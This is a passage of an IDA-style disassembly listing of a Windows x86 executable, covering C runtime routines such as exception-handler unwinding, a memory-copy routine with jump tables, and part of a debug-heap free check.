		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D030	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D070	proc near		; CODE XREF: sub_428540+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D070	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D080	proc near		; CODE XREF: sub_4282C0+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D090	proc near		; CODE XREF: sub_4282C0+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0A0	proc near		; CODE XREF: sub_41D2F0+66p
					; sub_428060+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D0CC
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_435A6C	; RtlUnwind


loc_41D0CC:				; DATA XREF: sub_41D0A0+12o
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_41D0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D100	proc near		; CODE XREF: .nsp0:00435FD4j
					; .nsp0:00435FEEj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4279C0
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41D100	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_427F30
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D170	proc near		; CODE XREF: sub_428120+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_41D1E0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_428620
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1E0	proc near		; DATA XREF: sub_41D170+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4279C0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D220	proc near		; CODE XREF: sub_427D50+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D2F0
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D2BC
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_423CF0
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0


loc_41D2BC:				; DATA XREF: sub_41D220+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_41D2D9
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D2E2
; ---------------------------------------------------------------------------


loc_41D2D9:				; CODE XREF: sub_41D220+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D2E2:				; CODE XREF: sub_41D220+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2F0	proc near		; DATA XREF: sub_41D220+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_41D315
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D315:				; CODE XREF: sub_41D2F0+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4279C0
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_41D35B
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41D0A0


loc_41D35B:				; CODE XREF: sub_41D2F0+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_41D36C:				; CODE XREF: sub_41D2F0+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D380	proc near		; CODE XREF: sub_427AB0+135p
					; sub_427D50+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_41D3D9


loc_41D39E:				; CODE XREF: sub_41D380+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D3A8
		call	sub_428720


loc_41D3A8:				; CODE XREF: sub_41D380+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	[eax+4], ecx
		jge	short loc_41D3BF
		cmp	ecx, [eax+8]
		jle	short loc_41D3C4


loc_41D3BF:				; CODE XREF: sub_41D380+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D3CF


loc_41D3C4:				; CODE XREF: sub_41D380+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax


loc_41D3CF:				; CODE XREF: sub_41D380+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_41D39E
		mov	eax, [ebp+arg_0]


loc_41D3D9:				; CODE XREF: sub_41D380+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_41D3ED
		cmp	esi, edi
		jbe	short loc_41D3F2


loc_41D3ED:				; CODE XREF: sub_41D380+67j
		call	sub_428720


loc_41D3F2:				; CODE XREF: sub_41D380+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D410	proc near		; CODE XREF: sub_42A9E4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D428
		push	[ebp+arg_0]
		call	sub_435A6C	; RtlUnwind


loc_41D428:				; DATA XREF: sub_41D410+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D410	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D430	proc near		; DATA XREF: sub_41D452+Ao
					; sub_41D4BA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D451
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D451:				; CODE XREF: sub_41D430+10j
		retn
sub_41D430	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D452	proc near		; CODE XREF: sub_428120+C2p
					; sub_42A9E4+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D430
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D46F:				; CODE XREF: sub_41D452:loc_41D4AAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D4AC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D4AC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D4AA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D4E6
		call	dword ptr [ebx+esi*4+8]


loc_41D4AA:				; CODE XREF: sub_41D452+44j
		jmp	short loc_41D46F
; ---------------------------------------------------------------------------


loc_41D4AC:				; CODE XREF: sub_41D452+2Aj
					; sub_41D452+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D452	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4BA	proc near		; CODE XREF: sub_4281FD+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D430
		jnz	short locret_41D4DC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D4DC
		mov	eax, 1

locret_41D4DC:				; CODE XREF: sub_41D4BA+10j
					; sub_41D4BA+1Bj
		retn
sub_41D4BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4DD	proc near		; CODE XREF: sub_428620+1Ep
					; sub_428620+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_45110C
		jmp	short loc_41D4F0
sub_41D4DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4E6	proc near		; CODE XREF: sub_41D452+4Fp
					; sub_42A9E4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_45110C
		mov	ecx, [ebp+8]


loc_41D4F0:				; CODE XREF: sub_41D4DD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D4E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_40C972+5p
					; sub_40CAE9+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D520	proc near		; CODE XREF: sub_40D1EF+Cp
					; sub_420300+581p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D540
		cmp	edi, eax
		jb	loc_41D6B8


loc_41D540:				; CODE XREF: sub_41D520+16j
		test	edi, 3
		jnz	short loc_41D55C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D57C
		rep movsd
		jmp	off_41D668[edx*4]
; ---------------------------------------------------------------------------


loc_41D55C:				; CODE XREF: sub_41D520+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D574
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D57C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D574:				; CODE XREF: sub_41D520+46j
		jmp	dword ptr loc_41D678[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D57C:				; CODE XREF: sub_41D520+31j
					; sub_41D520+8Ej ...
		jmp	off_41D5FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0D5h, 41h, 0
		dd offset loc_41D5BC
		dd offset loc_41D5E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D57C
		rep movsd
		jmp	off_41D668[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D5BC:				; DATA XREF: sub_41D520+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D57C
		rep movsd
		jmp	off_41D668[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D5E0:				; DATA XREF: sub_41D520+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D57C
		rep movsd
		jmp	off_41D668[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D5FC	dd offset loc_41D65F	; DATA XREF: sub_41D520:loc_41D57Cr
		dd offset loc_41D64C
		dd offset loc_41D644
		dd offset loc_41D63C
		dd offset loc_41D634
		dd offset loc_41D62C
		dd offset loc_41D624
		dd offset loc_41D61C
; ---------------------------------------------------------------------------


loc_41D61C:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D624:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D62C:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D634:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D63C:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D644:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D64C:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D65F:				; CODE XREF: sub_41D520:loc_41D57Cj
					; DATA XREF: sub_41D520:off_41D5FCo
		jmp	off_41D668[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D668	dd offset loc_41D678	; DATA XREF: sub_41D520+35r
					; sub_41D520+92r ...
		dd offset loc_41D680
		dd offset loc_41D68C
		dd offset loc_41D6A0
; ---------------------------------------------------------------------------


loc_41D678:				; CODE XREF: sub_41D520+35j
					; sub_41D520+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D680:				; CODE XREF: sub_41D520+35j
					; sub_41D520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D68C:				; CODE XREF: sub_41D520+35j
					; sub_41D520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D6A0:				; CODE XREF: sub_41D520+35j
					; sub_41D520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D6B8:				; CODE XREF: sub_41D520+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D6EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6E0
		std
		rep movsd
		cld
		jmp	off_41D800[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D6E0:				; CODE XREF: sub_41D520+1B1j
					; sub_41D520+208j ...
		neg	ecx
		jmp	off_41D7B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6EC:				; CODE XREF: sub_41D520+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D704
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D704+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D704:				; CODE XREF: sub_41D520+1D6j
					; DATA XREF: sub_41D520+1DDr
		jmp	off_41D800[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	bh, dl
		inc	ecx
		add	[eax], bh
		xlat
		inc	ecx
		add	[eax-29h], ah
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D6E0
		std
		rep movsd
		cld
		jmp	off_41D800[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6E0
		std
		rep movsd
		cld
		jmp	off_41D800[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D6E0
		std
		rep movsd
		cld
		jmp	off_41D800[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D7B4
		dd offset loc_41D7BC
		dd offset loc_41D7C4
		dd offset loc_41D7CC
		dd offset loc_41D7D4
		dd offset loc_41D7DC
		dd offset loc_41D7E4
off_41D7B0	dd offset loc_41D7F7	; DATA XREF: sub_41D520+1C2r
; ---------------------------------------------------------------------------


loc_41D7B4:				; DATA XREF: sub_41D520+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D7BC:				; DATA XREF: sub_41D520+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D7C4:				; DATA XREF: sub_41D520+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D7CC:				; DATA XREF: sub_41D520+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D7D4:				; DATA XREF: sub_41D520+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D7DC:				; DATA XREF: sub_41D520+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D7E4:				; DATA XREF: sub_41D520+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7F7:				; CODE XREF: sub_41D520+1C2j
					; DATA XREF: sub_41D520:off_41D7B0o
		jmp	off_41D800[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D800	dd offset loc_41D810	; DATA XREF: sub_41D520+1B7r
					; sub_41D520:loc_41D704r ...
		dd offset loc_41D818
		dd offset loc_41D828
		dd offset loc_41D83C
; ---------------------------------------------------------------------------


loc_41D810:				; CODE XREF: sub_41D520+1B7j
					; sub_41D520:loc_41D704j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D818:				; CODE XREF: sub_41D520+1B7j
					; sub_41D520:loc_41D704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D828:				; CODE XREF: sub_41D520+1B7j
					; sub_41D520:loc_41D704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D520+1B7j
					; sub_41D520:loc_41D704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D860	proc near		; CODE XREF: sub_40D2E7+4p
					; sub_4354D0+1Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D872
		jmp	loc_41D8FA
; ---------------------------------------------------------------------------


loc_41D872:				; CODE XREF: sub_41D860+Bj
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax


loc_41D885:				; CODE XREF: sub_41D860+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_41D8D7
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_41D8D7
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_41D8D7
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_41D8D7
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_437D00
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D8D7
		int	3		; Trap to Debugger


loc_41D8D7:				; CODE XREF: sub_41D860+34j
					; sub_41D860+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D885
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
